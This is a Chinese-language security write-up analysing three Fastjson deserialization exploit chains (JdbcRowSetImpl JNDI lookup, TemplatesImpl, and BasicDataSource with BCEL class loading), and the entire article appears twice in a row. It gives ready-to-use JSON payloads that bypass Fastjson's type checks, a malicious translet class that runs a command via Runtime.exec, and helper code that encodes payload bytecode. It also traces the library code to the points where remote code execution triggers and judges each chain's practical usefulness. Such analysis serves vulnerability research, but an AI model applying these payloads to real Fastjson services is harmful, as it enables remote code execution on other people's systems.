Java Fastjson

JdbcRowSetImpl

  1. String payload = "{\n" +
  2. " \"a\":{\n" +
  3. " \"@type\":\"java.lang.Class\",\n" +
  4. " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
  5. " },\n" +
  6. " \"b\":{\n" +
  7. " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
  8. " \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
  9. " \"autoCommit\":true\n" +
  10. " }\n" +
  11. "}";
  12. JSON.parse(payload);

payload中的a对象用来当作缓存绕过,需要关注的是第二个对象
注意到其中"autoCommit":true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

  1. public void setAutoCommit(boolean var1) throws SQLException {
  2. if (this.conn != null) {
  3. this.conn.setAutoCommit(var1);
  4. } else {
  5. // conn为空才会调用到这里
  6. this.conn = this.connect();
  7. this.conn.setAutoCommit(var1);
  8. }
  9. }

跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载远程恶意对象

  1. protected Connection connect() throws SQLException {
  2. if (this.conn != null) {
  3. return this.conn;
  4. } else if (this.getDataSourceName() != null) {
  5. try {
  6. // conn为空且dataSourceName不为空才会到这里
  7. InitialContext var1 = new InitialContext();
  8. // 成功触发JNDI注入
  9. DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

  1. public Object lookup(Name var1) throws NamingException {
  2. if (var1.isEmpty()) {
  3. ......
  4. return this.decodeObject(var2, var1.getPrefix(1));
  5. }
  6. }

跟入decodeObject方法,看到加载了远程Reference绑定的恶意对象

  1. Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
  2. return NamingManager.getObjectInstance(var3, var2, this, this.environment);

总结:

  • 实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广
  • 必须能出网,加载远端的恶意字节码,造成了局限性

    TemplateImpl

    1. String payload = "{\"a\":{\n" +
    2. "\"@type\":\"java.lang.Class\",\n" +
    3. "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
    4. "},\n" +
    5. "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    6. "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
    7. JSON.parse(payload, Feature.SupportNonPublicField);
    注意其中的Payload来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
    1. public class TEMPOC extends AbstractTranslet {
    2. public TEMPOC() throws IOException {
    3. Runtime.getRuntime().exec("calc.exe");
    4. }
    5. @Override
    6. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    7. }
    8. public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    9. }
    10. public static void main(String[] args) throws Exception {
    11. TEMPOC t = new TEMPOC();
    12. }
    13. }
    类似第一条链,使用两个对象绕过,其中的Payload为恶意类的字节码再Base64编码的结果,给出简易的py脚本
    1. fin = open(r"PATH-TO-TEMPOC.class", "rb")
    2. byte = fin.read()
    3. fout = base64.b64encode(byte).decode("utf-8")
    4. print(fout)
    该链需要开启Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有set方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)
    com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断
    1. final int mask = Feature.SupportNonPublicField.mask;
    2. if (fieldDeserializer == null
    3. && (lexer.isEnabled(mask)
    4. || (this.beanInfo.parserFeatures & mask) != 0)) {
    5. ......
    反序列化时,fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties
    1. public synchronized Properties getOutputProperties() {
    2. try {
    3. return newTransformer().getOutputProperties();
    4. }
    5. catch (TransformerConfigurationException e) {
    6. return null;
    7. }
    8. }
    调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法
    1. transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
    跟入getTransletInstance ```java // name不能为空所以在payload中设置a.b if (_name == null) return null; // 关键 if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

  1. 再跟入`defineTransletClasses`,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的`newInstance`方法中实例化该类,造成RCE
  2. ```java
  3. private static String ABSTRACT_TRANSLET
  4. = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  5. if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
  6. _transletIndex = i;
  7. }

为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码

  1. ......
  2. if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
  3. byte[] bytes = lexer.bytesValue();
  4. ......

跟入lexer.bytesValue()方法,看到decodeBase64

  1. public byte[] bytesValue() {
  2. ......
  3. // base64解码
  4. return IOUtils.decodeBase64(buf, np + 1, sp);
  5. }

总结:

  • TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手
  • 需要开启Feature.SupportNonPublicField,实战中不适用

    BasicDataSource

    1. String payload = "{\n" +
    2. " \"name\":\n" +
    3. " {\n" +
    4. " \"@type\" : \"java.lang.Class\",\n" +
    5. " \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
    6. " },\n" +
    7. " \"x\" : {\n" +
    8. " \"name\": {\n" +
    9. " \"@type\" : \"java.lang.Class\",\n" +
    10. " \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    11. " },\n" +
    12. " \"y\": {\n" +
    13. " \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
    14. " \"c\": {\n" +
    15. " \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
    16. " \"driverClassLoader\": {\n" +
    17. " \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    18. " },\n" +
    19. " \"driverClassName\":\"!!!Payload!!!\",\n" +
    20. "\n" +
    21. " \"$ref\": \"$.x.y.c.connection\"\n" +
    22. "\n" +
    23. " }\n" +
    24. " }\n" +
    25. " }\n" +
    26. "}";
    27. JSON.parse(payload);
    这个Payload适用于1.2.37版本,并且需要导入Tomcat相关的包
    1. <dependencies>
    2. <dependency>
    3. <groupId>com.alibaba</groupId>
    4. <artifactId>fastjson</artifactId>
    5. <version>1.2.37</version>
    6. </dependency>
    7. <dependency>
    8. <groupId>org.apache.tomcat</groupId>
    9. <artifactId>tomcat-dbcp</artifactId>
    10. <version>8.0.36</version>
    11. </dependency>
    12. </dependencies>
    生成driverClassName的工具如下 ```java import com.sun.org.apache.bcel.internal.util.ClassLoader; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.Repository;

public class Test { public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(Exp.class); String code = Utility.encode(cls.getBytes(), true); code = “BCEL” + code; new ClassLoader().loadClass(code).newInstance(); System.out.println(code); } }

  1. BCEL的全名是Apache Commons BCELApache Commons项目下的一个子项目,包含在JDK的原生库中。可以通过BCEL提供的两个类 Repository Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码。<br />生成的BCEL格式大概如下:

BCEL$l$8b$I$A$A$A$A$A$A$AmQ$……

  1. 将这种格式的字符串,作为“字节码”传入`new ClassLoader().loadClass(code).newInstance();`将会被实例化,当在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞<br />回到Payload,开头一部分用于绕Fastjson黑白名单,没有什么特殊的意义,核心部分如下:
  2. ```json
  3. "x" : {
  4. "name": {
  5. "@type" : "java.lang.Class",
  6. "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
  7. },
  8. "y": {
  9. "@type":"com.alibaba.fastjson.JSONObject",
  10. "c": {
  11. "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
  12. "driverClassLoader": {
  13. "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
  14. },
  15. "driverClassName":"!!!Payload!!!",
  16. "$ref": "$.x.y.c.connection"
  17. }
  18. }
  19. }

这个版本利用的是$ref这个特性:当fastjson版本>=1.2.36时,可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection
参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

  1. if ("$ref" == key && context != null) {
  2. // 传入的ref是$.x.y.c.connection,匹配到else
  3. if ("@".equals(ref)) {
  4. ...
  5. } else if ("..".equals(ref)) {
  6. ...
  7. } else if ("$".equals(ref)) {
  8. ...
  9. } else {
  10. Object refObj = parser.resolveReference(ref);
  11. if (refObj != null) {
  12. object = refObj;
  13. } else {
  14. // 将$.x.y.c.connection加入到Task
  15. parser.addResolveTask(new ResolveTask(context, ref));
  16. parser.resolveStatus = DefaultJSONParser.NeedToResolve;
  17. }
  18. }
  19. }
  20. // 处理后设置到context
  21. parser.setContext(context, object, fieldName);

漏洞的触发点在com.alibaba.fastjson.JSON.parse:154

  1. parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

  1. if (ref.startsWith("$")) {
  2. refValue = getObject(ref);
  3. if (refValue == null) {
  4. try {
  5. // 看到eval感觉有东西
  6. refValue = JSONPath.eval(value, ref);
  7. } catch (JSONPathException ex) {
  8. // skip
  9. }
  10. }
  11. }

跟入JSONPath.eval,这里的segement数组中的是[x,y,c,connection]

  1. public Object eval(Object rootObject) {
  2. if (rootObject == null) {
  3. return null;
  4. }
  5. init();
  6. Object currentObject = rootObject;
  7. for (int i = 0; i < segments.length; ++i) {
  8. Segement segement = segments[i];
  9. // 继续跟入
  10. currentObject = segement.eval(this, rootObject, currentObject);
  11. }
  12. return currentObject;
  13. }

到达com.alibaba.fastjson.JSONPath:1350

  1. public Object eval(JSONPath path, Object rootObject, Object currentObject) {
  2. if (deep) {
  3. List<Object> results = new ArrayList<Object>();
  4. path.deepScan(currentObject, propertyName, results);
  5. return results;
  6. } else {
  7. // return path.getPropertyValue(currentObject, propertyName, true);
  8. return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
  9. }
  10. }

继续跟入path.getPropertyValue

  1. protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
  2. if (currentObject == null) {
  3. return null;
  4. }
  5. if (currentObject instanceof Map) {
  6. Map map = (Map) currentObject;
  7. Object val = map.get(propertyName);
  8. if (val == null && SIZE == propertyNameHash) {
  9. val = map.size();
  10. }
  11. return val;
  12. }
  13. final Class<?> currentClass = currentObject.getClass();
  14. JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
  15. if (beanSerializer != null) {
  16. try {
  17. // 最后一次循环到达这里
  18. return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
  19. } catch (Exception e) {
  20. throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
  21. }
  22. }

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

  1. public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
  2. FieldSerializer fieldDeser = getFieldSerializer(keyHash);
  3. ......
  4. // 跟入
  5. return fieldDeser.getPropertyValue(object);
  6. }

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

  1. public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
  2. Object propertyValue = fieldInfo.get(object);

到达com.alibaba.fastjson.util.FieldInfo,达到最终触发点:method.invoke

  1. public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
  2. return method != null
  3. ? method.invoke(javaObject)
  4. : field.get(javaObject);
  5. }

看到这里的javaObject正是BasicDataSouce
2021-08-25-21-11-45-381977.png
回到BasicDataSource本身

  1. public Connection getConnection() throws SQLException {
  2. if (Utils.IS_SECURITY_ENABLED) {
  3. // 跟入
  4. final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
  5. try {
  6. return AccessController.doPrivileged(action);
  7. } catch (final PrivilegedActionException e) {
  8. final Throwable cause = e.getCause();
  9. if (cause instanceof SQLException) {
  10. throw (SQLException) cause;
  11. }
  12. throw new SQLException(e);
  13. }
  14. }
  15. return createDataSource().getConnection();
  16. }
  17. private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
  18. @Override
  19. public Connection run() throws SQLException {
  20. // 跟入createDataSource()
  21. return createDataSource().getConnection();
  22. }
  23. }
  24. // 继续跟入createConnectionFactory()
  25. final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最终触发点,其中driverClassNamedriverClassLoader都是可控的,由用户输入,指定ClassLoadercom.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL…这种格式后,在newInstance方法执行后被实例化。第二个参数initialtrue时,类加载后将会直接执行static{}块中的代码。

  1. if (driverClassLoader == null) {
  2. driverFromCCL = Class.forName(driverClassName);
  3. } else {
  4. driverFromCCL = Class.forName(
  5. driverClassName, true, driverClassLoader);
  6. }
  7. ...
  8. driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
  9. ...
  10. driverToUse = (Driver) driverFromCCL.newInstance();

总结:

  • 不需要出网,不需要开启特殊的参数,适用范围较广
  • 目标需要引入tomcat依赖,虽说比较常见,但也是一种限制

Fastjson已被大家分析过很多次,本文主要是对三种利用链做分析和对比

JdbcRowSetImpl

  1. String payload = "{\n" +
  2. " \"a\":{\n" +
  3. " \"@type\":\"java.lang.Class\",\n" +
  4. " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
  5. " },\n" +
  6. " \"b\":{\n" +
  7. " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
  8. " \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
  9. " \"autoCommit\":true\n" +
  10. " }\n" +
  11. "}";
  12. JSON.parse(payload);

payload中的a对象用来当作缓存绕过,需要关注的是第二个对象
注意到其中”autoCommit”:true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

  1. public void setAutoCommit(boolean var1) throws SQLException {
  2. if (this.conn != null) {
  3. this.conn.setAutoCommit(var1);
  4. } else {
  5. // conn为空才会调用到这里
  6. this.conn = this.connect();
  7. this.conn.setAutoCommit(var1);
  8. }
  9. }

跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载远程恶意对象

  1. protected Connection connect() throws SQLException {
  2. if (this.conn != null) {
  3. return this.conn;
  4. } else if (this.getDataSourceName() != null) {
  5. try {
  6. // conn为空且dataSourceName不为空才会到这里
  7. InitialContext var1 = new InitialContext();
  8. // 成功触发JNDI注入
  9. DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

  1. public Object lookup(Name var1) throws NamingException {
  2. if (var1.isEmpty()) {
  3. ......
  4. return this.decodeObject(var2, var1.getPrefix(1));
  5. }
  6. }

跟入decodeObject方法,看到加载了远程Reference绑定的恶意对象

  1. Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
  2. return NamingManager.getObjectInstance(var3, var2, this, this.environment);

总结:

  • 实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广
  • 必须能出网,加载远端的恶意字节码,造成了局限性

    TemplateImpl

    1. String payload = "{\"a\":{\n" +
    2. "\"@type\":\"java.lang.Class\",\n" +
    3. "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
    4. "},\n" +
    5. "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    6. "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
    7. JSON.parse(payload, Feature.SupportNonPublicField);
    注意其中的Payload来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
    1. public class TEMPOC extends AbstractTranslet {
    2. public TEMPOC() throws IOException {
    3. Runtime.getRuntime().exec("calc.exe");
    4. }
    5. @Override
    6. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    7. }
    8. public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    9. }
    10. public static void main(String[] args) throws Exception {
    11. TEMPOC t = new TEMPOC();
    12. }
    13. }
    类似第一条链,使用两个对象绕过,其中的Payload为恶意类的字节码再Base64编码的结果,给出简易的py脚本
    1. fin = open(r"PATH-TO-TEMPOC.class", "rb")
    2. byte = fin.read()
    3. fout = base64.b64encode(byte).decode("utf-8")
    4. print(fout)
    该链需要开启Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有set方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)
    在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断
    1. final int mask = Feature.SupportNonPublicField.mask;
    2. if (fieldDeserializer == null
    3. && (lexer.isEnabled(mask)
    4. || (this.beanInfo.parserFeatures & mask) != 0)) {
    5. ......
    反序列化时,fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties
    1. public synchronized Properties getOutputProperties() {
    2. try {
    3. return newTransformer().getOutputProperties();
    4. }
    5. catch (TransformerConfigurationException e) {
    6. return null;
    7. }
    8. }
    调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法
    1. transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
    跟入getTransletInstance ```java // name不能为空所以在payload中设置a.b if (_name == null) return null; // 关键 if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

  1. 再跟入`defineTransletClasses`,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的`newInstance`方法中实例化该类,造成RCE
  2. ```java
  3. private static String ABSTRACT_TRANSLET
  4. = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  5. if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
  6. _transletIndex = i;
  7. }

为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码

  1. ......
  2. if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
  3. byte[] bytes = lexer.bytesValue();
  4. ......

跟入lexer.bytesValue()方法,看到decodeBase64

  1. public byte[] bytesValue() {
  2. ......
  3. // base64解码
  4. return IOUtils.decodeBase64(buf, np + 1, sp);
  5. }

总结:

  • TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手
  • 需要开启Feature.SupportNonPublicField,实战中不适用

    BasicDataSource

    1. String payload = "{\n" +
    2. " \"name\":\n" +
    3. " {\n" +
    4. " \"@type\" : \"java.lang.Class\",\n" +
    5. " \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
    6. " },\n" +
    7. " \"x\" : {\n" +
    8. " \"name\": {\n" +
    9. " \"@type\" : \"java.lang.Class\",\n" +
    10. " \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    11. " },\n" +
    12. " \"y\": {\n" +
    13. " \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
    14. " \"c\": {\n" +
    15. " \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
    16. " \"driverClassLoader\": {\n" +
    17. " \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    18. " },\n" +
    19. " \"driverClassName\":\"!!!Payload!!!\",\n" +
    20. "\n" +
    21. " \"$ref\": \"$.x.y.c.connection\"\n" +
    22. "\n" +
    23. " }\n" +
    24. " }\n" +
    25. " }\n" +
    26. "}";
    27. JSON.parse(payload);
    这个Payload适用于1.2.37版本,并且需要导入Tomcat相关的包
    1. <dependencies>
    2. <dependency>
    3. <groupId>com.alibaba</groupId>
    4. <artifactId>fastjson</artifactId>
    5. <version>1.2.37</version>
    6. </dependency>
    7. <dependency>
    8. <groupId>org.apache.tomcat</groupId>
    9. <artifactId>tomcat-dbcp</artifactId>
    10. <version>8.0.36</version>
    11. </dependency>
    12. </dependencies>
    生成driverClassName的工具如下 ```java import com.sun.org.apache.bcel.internal.util.ClassLoader; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.Repository;

public class Test { public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(Exp.class); String code = Utility.encode(cls.getBytes(), true); code = “BCEL” + code; new ClassLoader().loadClass(code).newInstance(); System.out.println(code); } }

  1. BCEL的全名是Apache Commons BCELApache Commons项目下的一个子项目,包含在JDK的原生库中。可以通过BCEL提供的两个类 Repository Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码。<br />生成的BCEL格式大概如下:

BCEL$l$8b$I$A$A$A$A$A$A$AmQ$……

  1. 将这种格式的字符串,作为“字节码”传入`new ClassLoader().loadClass(code).newInstance();`将会被实例化,当在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞<br />回到Payload,开头一部分用于绕Fastjson黑白名单,没有什么特殊的意义,核心部分如下:
  2. ```json
  3. "x" : {
  4. "name": {
  5. "@type" : "java.lang.Class",
  6. "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
  7. },
  8. "y": {
  9. "@type":"com.alibaba.fastjson.JSONObject",
  10. "c": {
  11. "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
  12. "driverClassLoader": {
  13. "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
  14. },
  15. "driverClassName":"!!!Payload!!!",
  16. "$ref": "$.x.y.c.connection"
  17. }
  18. }
  19. }

这个版本利用的是$ref这个特性:当fastjson版本>=1.2.36时,可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection
参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

  1. if ("$ref" == key && context != null) {
  2. // 传入的ref是$.x.y.c.connection,匹配到else
  3. if ("@".equals(ref)) {
  4. ...
  5. } else if ("..".equals(ref)) {
  6. ...
  7. } else if ("$".equals(ref)) {
  8. ...
  9. } else {
  10. Object refObj = parser.resolveReference(ref);
  11. if (refObj != null) {
  12. object = refObj;
  13. } else {
  14. // 将$.x.y.c.connection加入到Task
  15. parser.addResolveTask(new ResolveTask(context, ref));
  16. parser.resolveStatus = DefaultJSONParser.NeedToResolve;
  17. }
  18. }
  19. }
  20. // 处理后设置到context
  21. parser.setContext(context, object, fieldName);

漏洞的触发点在com.alibaba.fastjson.JSON.parse:154

  1. parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

  1. if (ref.startsWith("$")) {
  2. refValue = getObject(ref);
  3. if (refValue == null) {
  4. try {
  5. // 看到eval感觉有东西
  6. refValue = JSONPath.eval(value, ref);
  7. } catch (JSONPathException ex) {
  8. // skip
  9. }
  10. }
  11. }

跟入JSONPath.eval,这里的segement数组中的是[x,y,c,connection]

  1. public Object eval(Object rootObject) {
  2. if (rootObject == null) {
  3. return null;
  4. }
  5. init();
  6. Object currentObject = rootObject;
  7. for (int i = 0; i < segments.length; ++i) {
  8. Segement segement = segments[i];
  9. // 继续跟入
  10. currentObject = segement.eval(this, rootObject, currentObject);
  11. }
  12. return currentObject;
  13. }

到达com.alibaba.fastjson.JSONPath:1350

  1. public Object eval(JSONPath path, Object rootObject, Object currentObject) {
  2. if (deep) {
  3. List<Object> results = new ArrayList<Object>();
  4. path.deepScan(currentObject, propertyName, results);
  5. return results;
  6. } else {
  7. // return path.getPropertyValue(currentObject, propertyName, true);
  8. return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
  9. }
  10. }

继续跟入path.getPropertyValue

  1. protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
  2. if (currentObject == null) {
  3. return null;
  4. }
  5. if (currentObject instanceof Map) {
  6. Map map = (Map) currentObject;
  7. Object val = map.get(propertyName);
  8. if (val == null && SIZE == propertyNameHash) {
  9. val = map.size();
  10. }
  11. return val;
  12. }
  13. final Class<?> currentClass = currentObject.getClass();
  14. JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
  15. if (beanSerializer != null) {
  16. try {
  17. // 最后一次循环到达这里
  18. return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
  19. } catch (Exception e) {
  20. throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
  21. }
  22. }

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

  1. public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
  2. FieldSerializer fieldDeser = getFieldSerializer(keyHash);
  3. ......
  4. // 跟入
  5. return fieldDeser.getPropertyValue(object);
  6. }

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

  1. public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
  2. Object propertyValue = fieldInfo.get(object);

到达com.alibaba.fastjson.util.FieldInfo,达到最终触发点:method.invoke

  1. public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
  2. return method != null
  3. ? method.invoke(javaObject)
  4. : field.get(javaObject);
  5. }

看到这里的javaObject正是BasicDataSouce
2021-08-25-21-11-45-522010.png
回到BasicDataSource本身

  1. public Connection getConnection() throws SQLException {
  2. if (Utils.IS_SECURITY_ENABLED) {
  3. // 跟入
  4. final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
  5. try {
  6. return AccessController.doPrivileged(action);
  7. } catch (final PrivilegedActionException e) {
  8. final Throwable cause = e.getCause();
  9. if (cause instanceof SQLException) {
  10. throw (SQLException) cause;
  11. }
  12. throw new SQLException(e);
  13. }
  14. }
  15. return createDataSource().getConnection();
  16. }
  17. private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
  18. @Override
  19. public Connection run() throws SQLException {
  20. // 跟入createDataSource()
  21. return createDataSource().getConnection();
  22. }
  23. }
  24. // 继续跟入createConnectionFactory()
  25. final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最终触发点,其中driverClassNamedriverClassLoader都是可控的,由用户输入,指定ClassLoadercom.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL…这种格式后,在newInstance方法执行后被实例化。第二个参数initialtrue时,类加载后将会直接执行static{}块中的代码。

  1. if (driverClassLoader == null) {
  2. driverFromCCL = Class.forName(driverClassName);
  3. } else {
  4. driverFromCCL = Class.forName(
  5. driverClassName, true, driverClassLoader);
  6. }
  7. ...
  8. driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
  9. ...
  10. driverToUse = (Driver) driverFromCCL.newInstance();

总结:

  • 不需要出网,不需要开启特殊的参数,适用范围较广
  • 目标需要引入tomcat依赖,虽说比较常见,但也是一种限制